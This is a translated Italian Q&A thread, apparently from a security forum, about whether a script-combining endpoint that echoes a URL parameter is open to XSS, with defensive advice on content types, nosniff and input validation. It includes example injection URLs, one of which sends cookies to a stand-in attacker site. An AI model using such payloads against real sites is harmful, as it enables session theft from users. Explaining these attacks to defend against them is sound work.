Vulnerabilità XSS nella risposta allo script non elaborato?

In generale , no, questo non è un problema di Cross Site Scripting (XSS).

Puoi avere tre problemi:

1. Se l'attaccante controlla i primi byte dell'output, il L'attacco Rosetta Flash può essere utilizzato per attivare un Cross Site Scripting (XSS), indipendentemente dal tipo di contenuto della pagina. Ma se inizi l'output con /* , come hai detto tu non riesco a vedere alcun rischio;
2. I browser obsoleti (ad esempio IE 7) hanno problemi di sniffing dei contenuti, quindi anche impostando il tipo di contenuto della pagina su text/javascript , un utente malintenzionato potrebbe ingannare il browser per eseguire la pagina in formato HTML. Al giorno d'oggi, questo tipo di attacco è molto raro. Usa la seguente intestazione per diventare più sicuro;

X-Content-Type-Options: nosniff

3. Se hai informazioni sensibili nel tuo javascript in base a una sessione autenticata, hai un'altra vulnerabilità, chiamata Cross Site Script Inclusion (XSSI).

Aggiornamento importante:

Suppongo che tu stia servendo la pagina con Content-Type: text/javascript .

Se stai servendo la pagina con Content-Type: text/html e non stai codificando < e > , sei completamente vulnerabile a XSS .

Esempio:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

Che dire di un link come http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script> ?

Codifica correttamente i caratteri html passati?

Modifica: Poiché questo sembra consentire all'autore dell'attacco di inviare qualsiasi javascript dal proprio sito web alla propria pagina web, ho pensato che questo avrebbe permesso loro di accedere ai dati che non avrebbero dovuto. Ma sembra che mi stia sbagliando e la stessa protezione dell'origine si basa sull'origine della pagina html in cui si trova il javascript, non sul file javascript. Quindi la tua vulnerabilità è se riescono a restituire un'intera pagina web.

Dipende se stai servendo correttamente il tipo di contenuto sui tuoi file js. Si tratta di una errata configurazione comune per i file js da pubblicare con text/html content-type. Questo non interromperà una pagina incluso il file js, ma farà sì che un browser moderno esegua il rendering del file come html se l'url viene inserito direttamente nella barra degli indirizzi.

Un truffatore può inviare URL falsi tramite e-mail agli obiettivi nella speranza che facciano clic sull'URL apparentemente sicuro. Ma se i file js sono forniti come html e resi, possono eseguire codice js arbitrario sul client e potenzialmente escludere i cookie o qualsiasi altra informazione riservata disponibile per quella pagina. Peggio ancora, potrebbero persino essere in grado di sfruttare le vulnerabilità zero-day che possono esistere nel browser client.

In pratica direi di cambiare quel meccanismo in modo che non dipenda dall'input dell'URL, o per lo meno dovrebbe eseguire il controllo della validazione dell'input e generare un errore sull'input non riconosciuto. Ma in teoria sarai molto più sicuro se ti assicuri di servire il tipo di contenuto come text/javascript